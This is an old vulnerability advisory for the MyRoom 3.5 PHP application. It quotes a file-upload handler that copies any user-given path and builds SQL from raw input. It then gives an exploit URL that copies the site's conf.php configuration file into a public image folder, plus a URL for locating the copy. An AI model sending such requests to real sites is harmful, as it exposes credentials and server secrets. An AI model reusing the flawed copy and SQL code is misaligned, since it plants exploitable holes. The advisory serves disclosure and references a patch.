MyRoom (PHP)

[Frog Man]

Informations :
°°°°°°°°°°°°°°
Website : http://www.plansbiz.net
Version : 3.5 GOLD
Problems : File copy/upload


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
room/save_item.php :
------------------------------------------------------------------------
if($name == "" OR $ref == ""){
echo "You are fogot enter your 'ITEM NAME' or 'ITEM REF NO' !";
echo "<br>";
echo "<a href='$main_file?show=additem'>Try Agains [ Click Here ]</a>";
exit;
}

if($photo!="none" AND $photo!="application/octet-stream"){

//get type of file
$filetype=$photo_type;

//get lenght of image type
$filelenght=strlen($filetype);

//get part of file image to build image extension
$pos=strpos($filetype,"/")+1;

//build extension of image
$fileextention=substr($filetype,$pos,$filelenght);

if($fileextention=="pjpeg"){
$fileextention="jpg";
}


$image=date("YmdHis");
$image.=".".$fileextention;
$imgpath = "$imgroot";

//if image exist, upload it in correct dir
if($photov<>"none") {
if(!copy($photo,"$imgpath/$image")) {
//display errors
$msg="<br><font color='text00'>File Not Uploaded, it might be too large or does not exist..<br>Please Try Again!</font>";
break;
}
//or finish
else {
dbconnect();
$sql= "INSERT INTO room_item SET it_photo='$image', it_name='$name', it_decs='$decs', it_ab='$album', it_ref='$ref'";
mysql_query($sql) or die(mysql_error());
echo "<meta http-equiv='refresh' content='0;URL= $main_file?show=additem&m=1&i=$name'>";
echo "<br>Your File Was Uploaded Sucessful!! <br><br><a href='$main_file?show=additem&m=1&i=$name'>Loading ......</a>";
}
}

------------------------------------------------------------------------


Exploits :
°°°°°°°°°°
http://[target]/room/save_item.php?name=[NAME]&ref=hacked&photo=../inc/conf.php&photo_type=ttxt

+ http://[target]/room/index.php?show=search&search=it_name&item=[NAME]
to find the url of the txt file in wich is conf.php.

Patch :
°°°°°°°
A patch can be found on http://www.phpsecure.info (english version available) .


More Details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/MyRoom.txt

Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FMyRoom.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools




frog-m@n




_________________________________________________________________
MSN Search, le moteur de recherche qui pense comme vous ! http://search.msn.fr/worldwide.asp